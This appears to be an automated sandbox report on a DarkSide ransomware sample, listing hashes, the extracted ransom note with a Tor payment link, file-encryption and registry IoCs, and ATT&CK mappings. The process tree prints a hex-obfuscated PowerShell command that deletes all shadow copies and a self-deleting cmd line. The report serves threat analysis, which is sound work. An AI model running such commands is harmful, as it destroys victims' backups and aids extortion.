darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
63s
max time network
119s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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General

Target

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Size

59KB
MD5

6a7fdab1c7f6c5a5482749be5c4bf1a4
SHA1

4e6d303d96621769b491777209c237b4061e3285
SHA256

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb
SHA512

39446ebfae1dd0e007e81087f42021b95ee5a0a04e22ca7f4f5addbea4e71c7fe09ffd3bf953400955ce6d31b535c81a37b018aba73c30e61575b2c49414d6cd

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.7b336f65.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT When you open our website, put the following data in the input form: Key: 0kZdK3HQhsAkUtvRl41QkOdpJvzcWnCrBjjgg5U4zfuWeTnZR5Ssjd3QLHpmbjxjo7uWzKbt8qPVuYN38TsDPI3bemd5I40ksemIzuI5OhIHZsi9cn3Wpd7OUT72FP9MyAUzR586yMsI2Ygri9in0Bf4EkG0pmBOLyRG1T788foGJQW1WxS1Qd2sMVvX0jKlbGG1zLp7g0u6buDCzSMyTjWjuVzJYufBBv7S2XvciEVvboiTNbZA4UUU6PttKERQSb018aILd6xO3ulk6fbEgZDO5tZSGn2zRevn5YXnHtg6vt1ToLe3izQOgYbs8Ja1fkfJBUYVux1ITyWBjpn0xPayKfwln8SqgMkbqiDyxEDEtFhqiffLcONMhi4TmW50loZIC6mWSaOjThWp6XSJUWPtY8Mkzs8Cs0qjPahx58iAEVIRGUVpLkMs7xPN7ydZ6wMWaOcRC1AD1JEUVTjLikXXyckgYaS6FnEv0UNEsv6QbTLSpDomIg3rEYZBib6ozrwH5n0M5wrKo8NciUBmfJWDP4XKkjznpsa05rEpuAklM0dMmZsYGVR !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/CZEX8E0GR0AO4ASUCJE1K824OKJA1G24B8B3G0P84LJTTE7W8EC86JBE7NBXLMRT

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 18 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\GrantSplit.tiff => C:\Users\Admin\Pictures\GrantSplit.tiff.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\GrantSplit.tiff.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\RedoRemove.tiff => C:\Users\Admin\Pictures\RedoRemove.tiff.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\RedoRemove.tiff.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\ResizeUndo.crw.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\ResolveCheckpoint.png => C:\Users\Admin\Pictures\ResolveCheckpoint.png.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\GrantSplit.tiff	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\MountSplit.tif => C:\Users\Admin\Pictures\MountSplit.tif.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\MountSplit.tif.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\OutRead.crw.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\ResolveCheckpoint.png.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\AssertSave.tif => C:\Users\Admin\Pictures\AssertSave.tif.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\AssertSave.tif.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\RedoRemove.tiff	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\RepairResize.tif => C:\Users\Admin\Pictures\RepairResize.tif.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File opened for modification	C:\Users\Admin\Pictures\RepairResize.tif.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\ResizeUndo.crw => C:\Users\Admin\Pictures\ResizeUndo.crw.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
File renamed	C:\Users\Admin\Pictures\OutRead.crw => C:\Users\Admin\Pictures\OutRead.crw.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\7b336f65.BMP"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\7b336f65.BMP"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Control Panel 1 IoCs

evasion

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\Desktop\WallpaperStyle = "10"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Modifies registry class 5 IoCs

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.7b336f65\ = "7b336f65"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\7b336f65\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\7b336f65.ico"	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exe1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

pid	process
3536	powershell.exe
3536	powershell.exe
3536	powershell.exe
3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSecurityPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeTakeOwnershipPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeLoadDriverPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSystemProfilePrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSystemtimePrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeProfSingleProcessPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeIncBasePriorityPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeCreatePagefilePrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeBackupPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeRestorePrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeShutdownPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeDebugPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeSystemEnvironmentPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeRemoteShutdownPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeUndockPrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeManageVolumePrivilege	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 33	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 34	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 35	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: 36	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Token: SeDebugPrivilege	3536	powershell.exe
Token: SeBackupPrivilege	2292	vssvc.exe
Token: SeRestorePrivilege	2292	vssvc.exe
Token: SeAuditPrivilege	2292	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe

description	pid	process	target process
PID 3260 wrote to memory of 3536	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	powershell.exe
PID 3260 wrote to memory of 3536	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	powershell.exe
PID 3260 wrote to memory of 4704	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe
PID 3260 wrote to memory of 4704	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe
PID 3260 wrote to memory of 4704	3260	1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
"C:\Users\Admin\AppData\Local\Temp\1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3536
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C DEL /F /Q C:\Users\Admin\AppData\Local\Temp\1CC7C1~1.EXE >> NUL
  2⤵
  PID:4704

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
989090d5b06188db7baf5f86773747d5

SHA1
11b8f352dbe55f8d13efa6a6aaa34b4dd4083121

SHA256
60e7aec41cc02fd0c5fb340e8dd3ee18d05d7137e47fce596d4e686514066aa0

SHA512
67b0ccab0d5d42b9f08fae9b3d072f6cc4c0eb073851bd6fcf4d69f7043b84b7b78c87754fe667b1ed42738a2ba8201da2565347f4ed893845376c19945173f1

Download Submit
memory/3536-114-0x0000000000000000-mapping.dmp

Download
memory/3536-120-0x0000022999BC0000-0x0000022999BC1000-memory.dmp

Filesize
4KB

Download
memory/3536-125-0x00000229B4340000-0x00000229B4341000-memory.dmp

Filesize
4KB

Download
memory/3536-128-0x0000022999AD0000-0x0000022999AD2000-memory.dmp

Filesize
8KB

Download
memory/3536-129-0x0000022999AD3000-0x0000022999AD5000-memory.dmp

Filesize
8KB

Download
memory/3536-130-0x0000022999AD6000-0x0000022999AD8000-memory.dmp

Filesize
8KB

Download
memory/4704-144-0x0000000000000000-mapping.dmp

Download